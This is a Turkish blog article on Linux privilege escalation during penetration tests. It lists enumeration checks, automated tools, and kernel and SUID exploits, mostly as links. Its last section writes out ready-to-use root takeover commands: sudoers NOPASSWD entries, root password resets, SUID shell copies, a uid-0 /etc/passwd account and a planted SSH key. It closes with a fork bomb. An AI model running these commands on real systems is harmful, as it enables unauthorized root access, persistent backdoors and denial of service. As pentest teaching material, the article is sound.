Linux Sızma Testlerinde Hak Yükseltme Yöntemleri

0
550
views
Linux sızma testleri sırasında sıkılaştırmaların güvenilir şekilde yapılmamasından dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Linux sistemlerde hak yükseltmek için yöntemler listelenecektir.

 

1) Temel Kontrol Noktaları

Hak yükseltme için girilen her sistemin bazı özelliklerini kontrol etmek ve zafiyet olup olmadığını incelemek gerekir. Kontrol maddeleri aşağıdaki gibi sıralanabilir.

  • Çekirdek (kernel) ve işletim sistemi sürümü
  • Sonradan veya varsayılan olarak kurulu olan uygulamaların sürümü
  • “root” yetkisi ile çalışan servisler ve uygulamalar
  • Kullanıcılar ve gruplar
  • Çalışan prosesler
  • Yapılandırma ayarları
  • Aygıtlar
  • Dosya içerisinde yazılı bilgiler (parola gibi)
  • Herkes tarafından çalıştırılabilir veya yazılabilir dosyalar (özellikle betikler) ve içerikleri
  • SUID veya GUID biti etkin dosyalar ve işlevleri
  • Servisler
  • Zamanlanmış görevler
  • Çevresel değişkenler
  • Uzaktan erişim (SSH, R* servisleri, VNC,…) için kimlik bilgileri veya anahtarlar

Belirtilen kontroller için çalıştırılabilecek komutların listesi aşağıdaki sitelerden elde edilebilir.

  • G0tmi1k: http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation
  • RebootUser: https://www.rebootuser.com/?page_id=1721
  • Xapax: https://github.com/xapax/security/blob/master/privilege_escalation_-_linux.md
  • Cybrary: https://www.cybrary.it/0p3n/penetration-testing-checklist-linux-machine-intrusion-discovery/

 

2) Otomatik Kontrol Yöntemleri

Belirtilen kontrolleri otomatik olarak gerçekleştiren bir çok araç bulunmaktadır. Bu araçlardan en çok tercih edilenler aşağıdaki gibidir.

  • Linenum (RebootUser): http://www.siberportal.org/red-team/linux-penetration-tests/linenum-betigi-ile-tespit-edilen-zamanlanmis-gorev-betiginde-hatali-joker-karakteri-kullanimi-tar-araci-ile-hak-yukseltme/
  • Unix-Privesc-Check (PentestMonkey): http://www.siberportal.org/red-team/linux-penetration-tests/unix-privesc-check-betigi-ile-tespit-edilen-zafiyetli-chkrootkit-paketindeki-zafiyet-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • LinuxPrivChecker: http://www.siberportal.org/red-team/mysql-database-penetration-tests/linuxprivchecker-betigi-ile-tespit-edilen-mysql-kullanici-tanimli-fonksiyon-raptor_udf-hak-yukseltme-zafiyetinin-istismari/
  • Linux-Local-Enum: http://www.siberportal.org/red-team/linux-penetration-tests/linux-local-enum-betigi-ile-tespit-edilen-hatali-yapilandirma-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux-Exploit-Suggester: http://www.siberportal.org/red-team/linux-penetration-tests/linux-exploit-suggester-betigi-ile-tespit-edilen-isletim-sistemi-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • KernelPop: https://www.siberportal.org/red-team/linux-penetration-tests/kernelpop-betigi-ile-tespit-edilen-isletim-sistemi-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi
  • Linux_Exploit_Suggester: https://github.com/PenturaLabs/Linux_Exploit_Suggester VEYA https://github.com/InteliSecureLabs/Linux_Exploit_Suggester (Güncel değildir. Linux-Exploit-Suggester kullanılması tavsiye edilir.)
  • LinExpSuggester & LinPrivChecker & LinExpChecker: https://github.com/reider-roque/linpostexp (Diğer orijinal betiklerin yedekleri bulunmaktadır.)
  • LARE: https://github.com/m4lv0id/LARE
  • Auto-Root-Exploit: https://github.com/nilotpalbiswas/Auto-Root-Exploit (LARE betiğinin sadece internetten istismar kodu indirme özelliği olan koddur)
  • Elevator: https://github.com/guifre/Elevator
  • Inspector: https://github.com/graniet/Inspector
  • Linux Soft Exploit Suggester: https://www.kitploit.com/2017/11/linux-soft-exploit-suggester-search.html
  • PrivEscalation: https://github.com/expl0i13r/privescalation/blob/master/privescalation.sh (Sadece genel sorgular bulunur)
  • MSF: post/multi/recon/local_exploit_suggester

 

3) Örnek Hak Yükseltme Zafiyetleri ve İstismar Yöntemleri

Hak yükseltme yöntemi belirlendikten sonra bir takım yöntemler ile hak yükseltme işlemi gerçekleştirilebilir. Bu yöntemlerden en öne çıkanlar aşağıdaki gibi sıralanabilir.

  • Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOAD) # Exploit-DB 39772 && MSF bpf_priv_esc: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-x-ubuntu-16-04-lts-isletim-sistemindeki-hak-yukseltme-zafiyetinin-double-fdput-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • FreeBSD 9.0 – Intel SYSRET # Exploit-DB 28718: http://www.siberportal.org/red-team/linux-penetration-tests/freebsd-9-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-intel-sysret-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • FreeBSD 9.0 < 9.1 mmap/ptrace ## Exploit-DB 26368: http://www.siberportal.org/red-team/linux-penetration-tests/freebsd-9-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-mmap-ptrace-istismar-edilmesi/
  • Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) – ‘ip_append_data()’ Ring0 # Exploit-DB 9542: http://www.siberportal.org/red-team/linux-penetration-tests/centos-4-5-linux-kernel-2-6-9-55-isletim-sistemindeki-hak-yukseltme-zafiyetinin-ip_append_data-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) – ‘sock_sendpage()’ # Exploit-DB 9545 && Security Focus 36038-6: http://www.siberportal.org/red-team/linux-penetration-tests/centos-4-5-linux-kernel-2-6-9-55-isletim-sistemindeki-hak-yukseltme-zafiyetinin-sock_sendpage-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6.17 < 2.6.24.1 – ‘vmsplice’ # Exploit-DB 5092: https://www.siberportal.org/red-team/linux-penetration-tests/kernelpop-betigi-ile-tespit-edilen-isletim-sistemi-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • inux Kernel 3.16.0 – Apport (Ubuntu 14.04/14.10/15.04) – Race Condition # Exploit-DB 37088 && Kernel-Exploits ofs_32: http://www.siberportal.org/red-team/linux-penetration-tests/apport-ubuntu-14-04-14-10-15-04-isletim-sistemindeki-hak-yukseltme-zafiyetinin-race-condition-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel >=4.4 Ubuntu 14.04.2 LTS – UAF via double-fdput() in bpf(BPF_PROG_LOAD) # Chromium 808: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-x-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Ubuntu 14.04.2 LTS – Kernel 3.16.0 – Apport/Abrt (Ubuntu / Fedora) # Exploit-DB 36746 && Kernel-Exploits ofs_32: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-3-16-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ # Exploit-DB 37292: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-3-13-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ # Exploit-DB 39166: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-3-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 # Exploit-DB 8572 / 8478: http://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-2-6-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6.22 < 3.9 – ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition (/etc/passwd Method) # Exploit-DB 40839: http://www.siberportal.org/red-team/linux-penetration-tests/linux-exploit-suggester-betigi-ile-tespit-edilen-isletim-sistemi-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/ && https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
  • Linux Kernel 4.3.3 – ‘overlayfs’ # Exploit-DB 39230: https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref
  • Linux Kernel 2.4/2.6 – ‘sock_sendpage()’ # Exploit-DB 9641: https://www.vulnhub.com/entry/pwnos-10,33/
  • Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) – ‘CAN BCM’ # Exploit-DB 14814:
  • Linux Kernel 2.6.36-rc8 – ‘RDS Protocol’ # Exploit-DB 15285:
  • Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) – ‘Full-Nelson.c’ # Exploit-DB 15704:
  • Linux Kernel < 2.6.36.2 (Ubuntu 10.04) – ‘Half-Nelson.c’ Econet # Exploit-DB 17787:
  • Yazılabilir /etc/passwd dosyası: http://www.siberportal.org/red-team/linux-penetration-tests/erisim-izinleri-uygun-ayarlanmamis-etc-passwd-dosyasinin-kotuye-kullanilarak-hak-yukseltilmesi/
  • Yazılabilir /etc/sudoers dosyası
  • “history” geçmişleri
  • Yapılandırma dosyaları
  • /root/.bashrc dosyası: https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/
  • PATH Çevresel Değişkeni: http://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-cevresel-degiskenlerin-degistirilmesi-ve-root-yetkilerine-hak-yukseltilmesi/ && http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
  • SUID biti etkin dosyada çevresel değişken: https://bitvijays.github.io/LFC-VulnerableMachines.html#environment-variable-abuse
  • SUID biti etkin “donpcgd” aracı: http://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-zamanlanmis-gorev-olusturulmasi-ve-root-yetkilerine-hak-yukseltilmesi/
  • SUID biti etkin “procwatch” aracı: http://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-cevresel-degiskenlerin-degistirilmesi-ve-root-yetkilerine-hak-yukseltilmesi/
  • SUID biti etkin “nmap” aracı: http://www.siberportal.org/red-team/linux-penetration-tests/suid-biti-etkin-olan-nmap-araci-ile-hak-yukseltme-isleminin-gerceklestirilmesi/
  • SUID biti etkin “tcpdump” aracı:https://bitvijays.github.io/LFC-VulnerableMachines.html#tcpdump
  • SUID biti etkin “tee” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#tee-suid
  • SUID biti etkin “strace” aracı: http://mannulinux.blogspot.com/2018/07/vulnhub-linux-vm-linsecurity-1.html
  • SUID biti etkin “wget” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#wget
  • SUID biti etkin “pip” && “npm” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#package-installation
  • IFS: http://www.dankalia.com/tutor/01005/0100501004.htm
  • Symlink: https://bitvijays.github.io/LFC-VulnerableMachines.html#symlink-creation
  • Chkrootkit 0.49 # Exploit-DB 33899 && MSF chkrootkit: http://www.siberportal.org/red-team/linux-penetration-tests/unix-privesc-check-betigi-ile-tespit-edilen-zafiyetli-chkrootkit-paketindeki-zafiyet-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) – ‘Sudoedit’ # Exploit-DB 37710:
  • Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) – ‘Mempodipper’ # Exploit-DB 18411 / 35161: https://gist.github.com/karthick18/1686299
  • Zamanlanmış görevde Joker kullanılmış “tar” aracı: http://www.siberportal.org/red-team/linux-penetration-tests/linenum-betigi-ile-tespit-edilen-zamanlanmis-gorev-betiginde-hatali-joker-karakteri-kullanimi-tar-araci-ile-hak-yukseltme/
  • Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Out-of-Bounds # Exploit-DB 40049: https://www.exploit-db.com/exploits/40049/
  • Openssh 4.7 <–> 7.1: https://dustri.org/b/how-to-radare2-a-fake-openssh-exploit.html
  • LD_Preload Çevresel Değişkeni: http://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
  • Docker grubu üyesi iken docker komutları ile hak yükseltme: mannulinux.blogspot.com/2018/07/vulnhub-linux-vm-linsecurity-1.html
  • apt ve dpkg araçları: https://bitvijays.github.io/LFC-VulnerableMachines.html#unattended-apt-upgrade
  • Çekirdek İstismar Listesi: https://github.com/lucyoa/kernel-exploits && https://github.com/SecWiki/linux-kernel-exploits

Not: Gerçek/Kurumsal ortamlarda işletim sistemi ve Çekirdek zafiyetlerinin istismarı sistemin çalışabilirliğini bozacağı için, dikkatli davranılması tavsiye edilmektedir.

SUID/GUID biti etkinliği için kontrol edilebilecek bir çok uygulama vardır. Bu uygulamalardan bazıları aşağıdaki gibidir.

  • nmap
  • vim
  • less
  • more
  • nano
  • sudoedit
  • tar
  • zip
  • cp
  • mv
  • find

Zamanlanmış görevleri listelemeden proseslerdeki değişiklikler izlenerek de zamanlanmış görevler tespit edilebilir.

 

 

Not: SSH, NFS, Rlogin, SAMBA, HTTP/HTTPS, Mysql… gibi servislerdeki zafiyetler ve istismar yöntemleri “Sızma Testlerinde ve Denetimlerde En Çok Karşılaşılan Servisleri Değerlendirme:” isimli yazı dizisinde incelenmektedir.

 

4) Hak Yükseltme Komutları & Betikleri

İhtiyaca göre bir betik içerisine komutlar yazılarak yetki yükseltilebilir. Bu yöntemler aşağıdaki gibi sıralanabilir.

  • Bir kullanıcı “root” gibi komut çalıştırabilecek şekilde ayarlanabilir.

echo “YetkisizHesap ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

  • Bir kullanıcı “admin” grubuna eklenebilir.

usermod -a -G admin YetkisizHesap

  • “root” hesabının parolası değiştirilebilir.

echo “YeniParola\nYeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo -e ” YeniParola\nYeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo -e “YeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo “YeniParola” | passwd -stdin root

  • “root” hesabının parolası değiştirilebilir.

echo “root:YeniParola” | chpasswd

  • “root” hesabının parolası değiştirilebilir.

usermod -p ‘$6$ZWb1CVRs$bUrdSQT9glMWN/Y0T8pvueB6.zseK4kXPFELD74EuwQI/hzLQZ6d0NkLv6yXIK71TO50SHDLlR75M4ccFxgNG1’ root

  • “/bin/dash” kabuğu her kullanıcı tarafından çalıştırılabilir hale getirilir.

#\!/bin/bash
chmod u+s /bin/dash
Sonrasında bu kabuğa geçilir.
/bin/dash

  • “/bin/bash” kabuğunun kopyasının sahipliği “root” yapılarak, SUID biti etkinleştirilir.

cp /bin/bash /tmp/kabuk; chown root /tmp/kabuk; chgrp root /tmp/kabuk; chmod u+s /tmp/kabuk

  • “/bin/bash” kabuğunun SUID ve GUID biti etkinleştirilir.

int main(void)
{
setgid(0);
setuid(0);
system(“/bin/bash”); // execl(“/bin/sh”, “sh”, 0);
}

VEYA

int main(void){
setresuid(0, 0, 0);
system(“/bin/sh”);
}

VEYA

int main(void){
setgid(0); setuid(0);
system(“/bin/bash -p”);

}

Sonrasında bu betik çalıştırılabilir hale getirilir.
gcc betik.c

  • “/etc/shadow” veya “/etc/passwd” dosyası herkes tarafından yazılabilir hale getirilir.

chmod 777 /etc/shadow
(Veya) chmod 777 /etc/passwd
Sonrasında bu dosyaya parola özeti eklenebilir.
echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” >> /etc/passwd

  • “ssh-keygen” gibi bir araçla oluşturulan SSH özel anahtarı ile ilişkili genel anahtar “root” kullanıcısının “/root/.ssh/authorized_keys” dosyasına olarak eklenir.

ssh-keygen -t rsa -f /tmp/anahtar
cat /tmp/anahtar.pub >> /root/.ssh/authorized_keys
Sonra da özel anahtar ile SSH yapılır.
ssh root@HEDEF_PC -i /tmp/anahtar

  • R* servisler (Rlogin gibi) ile giriş yapılmak için “/root/.rhosts” dosyasına “++” veya “+ root” yazılarak “root” kullanıcısı ile giriş yapılabilir. Sonrasında Putty gibi bir aracın Connection sekmesinde “Data > Auto-login username” ve “Rlogin > Local username” alanlarına “root” yazılarak giriş yapılabilir.

echo “+ root” > ~/.rhosts
chmod 600 ~/.rhosts

 

Not: Bir kullanıcının yeniden oturum açmasının gerektiği durumlarda kendi kendini çağıran basit bir Bash fonksiyonu ile sistem yavaşlatılabilir, hatta yeniden başlatılmaya zorlanabilir. Ancak gerçek ortamlarda bu saldırı tavsiye edilmemektedir.

:(){ :|: & };:

 

Kaynaklar:

https://www.sans.org/reading-room/whitepapers/linux/attack-defend-linux-privilege-escalation-techniques-2016-37562

A guide to Linux Privilege Escalation



http://www.dankalia.com/tutor/01005/0100501004.htm

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz